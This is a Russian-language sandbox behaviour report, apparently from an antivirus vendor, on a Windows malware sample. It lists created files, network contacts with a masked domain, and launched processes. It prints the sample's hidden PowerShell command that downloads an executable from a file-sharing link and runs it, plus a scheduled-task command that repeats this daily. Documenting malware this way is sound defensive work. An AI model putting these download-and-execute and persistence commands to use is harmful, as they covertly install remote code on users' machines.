Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\process
Сетевая активность
Подключается к
- 'cn##.click':443
TCP
Другие
- 'cn##.click':443
UDP
- DNS ASK cn##.click
Другое
Ищет следующие окна
- ClassName: 'DDEMLMom' WindowName: ''
- ClassName: 'IEFrame' WindowName: ''
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden curl https://www.dr##box.com/s/bthlhgmeozsl9yv/adrix.exe?dl## -OutFile %WINDIR%\Temp\RegAsm.exe;Start-Process powershell.exe %WINDIR%\Temp\RegAsm.exe' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /sc daily /st 10:30 /ri 60 /du 24:00 /ed 08/05/2024 /tn "Process" /tr "\"<SYSTEM32>\WindowsPowershell\v1.0\powershell.exe\" -WindowStyle Hidden curl https://www.dr##box.com/s/bthlhgmeoz...
- '<SYSTEM32>\taskeng.exe' {9B82A77B-3B40-417F-9B18-C5B811105FA0} S-1-5-21-1960123792-2022915161-3775307078-1001:txtwaebrta\user:Interactive:[1]
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden curl https://www.dr##box.com/s/bthlhgmeozsl9yv/adrix.exe?dl## -OutFile %WINDIR%\Temp\RegAsm.exe;Start-Process powershell.exe %WINDIR%\Temp\RegAsm.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' %WINDIR%\Temp\RegAsm.exe
